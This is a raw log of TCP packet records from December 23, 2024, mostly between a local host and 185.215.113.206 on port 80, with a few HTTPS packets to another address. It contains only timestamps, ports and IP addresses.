Dec 23, 2024 06:54:26.423885107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.423928976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.424838066 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.424889088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.424952984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.424998045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.425904036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.425950050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.426023960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.426068068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.427006006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.427050114 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.427203894 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.427246094 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.428155899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.428205967 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.428277016 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.428318977 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.429157972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.429204941 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.429286003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.429328918 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.430437088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.430449009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.430484056 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.431298971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.431344032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.431379080 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.431417942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.432382107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.432429075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.432496071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.432538986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.433592081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.433604002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.433638096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.434495926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.434542894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.434648991 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.434693098 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.435677052 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.435689926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.435740948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.436738014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.436784029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.436801910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.436861992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.437733889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.437784910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.437853098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.437896013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.438921928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.438934088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.438963890 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.438985109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.439929962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.439977884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.440009117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.440057039 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.440958977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.441047907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.441072941 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.441118002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.442058086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.442130089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.442161083 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.442205906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.443131924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.443182945 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.443191051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.443232059 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.444195986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.444243908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.444310904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.444355011 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.445408106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.445452929 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.445493937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.445535898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.446330070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.446377039 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.446394920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.446434021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.447335005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.447380066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.583353043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.583410978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.583503962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.583543062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.583894968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.583944082 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.583969116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.584044933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.584944963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.584990025 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.585031986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.585072041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.586009979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.586055040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.586137056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.586190939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.587106943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.587194920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.587225914 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.587268114 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.588270903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.588316917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.588330984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.588382006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.589261055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.589310884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.589338064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.589389086 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.590341091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.590401888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.590444088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.590485096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.591382027 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.591428041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.591517925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.591573000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.592474937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.592520952 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.592637062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.592721939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.593579054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.593638897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.593678951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.593725920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.594659090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.594712019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.594737053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.594779015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.595684052 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.595732927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.595797062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.595844030 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.596761942 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.596823931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.596954107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.596996069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.597836971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.597884893 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.598063946 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.598109961 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.598917007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.598963976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.598999977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.599042892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.599982977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.600030899 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.600101948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.600152969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.601110935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.601149082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.601162910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.601181984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.602142096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.602217913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.602262974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.602305889 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.603233099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.603281975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.603327990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.603379011 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.604288101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.604341984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.604377985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.604414940 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.605395079 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.605448961 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.605508089 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.605561972 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.606503963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.606559992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.606597900 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.606641054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.607541084 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.607606888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.607670069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.607722998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.608609915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.608665943 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.608767986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.608814001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.609635115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.609695911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.609782934 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.609833002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.610730886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.610785961 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.610850096 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.610889912 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.611798048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.611845970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.611911058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.611954927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.612953901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.613013983 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.613102913 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.613147020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.613956928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.614028931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.614048958 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.614090919 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.615012884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.615073919 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.615166903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.615211010 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.616091967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.616168022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.616274118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.616322041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.617156982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.617208004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.617244959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.617285013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.618213892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.618264914 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.618340015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.618388891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.619355917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.619402885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.619530916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.619575024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.620393038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.620439053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.620482922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.620523930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.621455908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.621504068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.621601105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.621644974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.622544050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.622590065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.622741938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.622782946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.623653889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.623709917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.623735905 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.623776913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.624679089 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.624727964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.624768972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.624808073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.625751972 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.625799894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.625857115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.625900984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.626883984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.626933098 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.626944065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.626979113 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.627887011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.627934933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.627998114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.628041029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.628977060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.629028082 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.629067898 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.629106045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.630048037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.630094051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.630134106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.630182981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.631114006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.631160021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.631211996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.631256104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.632224083 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.632272959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.632328987 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.632369041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.633276939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.633322954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.633388042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.633431911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.634329081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.634377003 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.634442091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.634483099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.635422945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.635469913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.635602951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.635646105 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.636585951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.636604071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.636632919 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.636658907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.637684107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.637696028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.637736082 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.638633013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.638678074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.638763905 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.638808966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.639694929 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.639739037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.724711895 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:26.724771023 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:26.724874973 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:26.725482941 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:26.725497961 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:26.775489092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.775573969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.775639057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.775681973 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.776117086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.776150942 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.776169062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.776185989 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.777117014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.777164936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.777218103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.777262926 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.778230906 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.778275967 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.778292894 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.778328896 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.779280901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.779331923 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.779406071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.779453993 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.780360937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.780410051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.780450106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.780494928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.781394005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.781434059 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.781482935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.781517982 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.782593012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.782613039 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.782655954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.782684088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.783689976 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.783756971 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.783786058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:26.783827066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:26.784727097 CET	80	49889	185.215.113.206	192.168.2.6
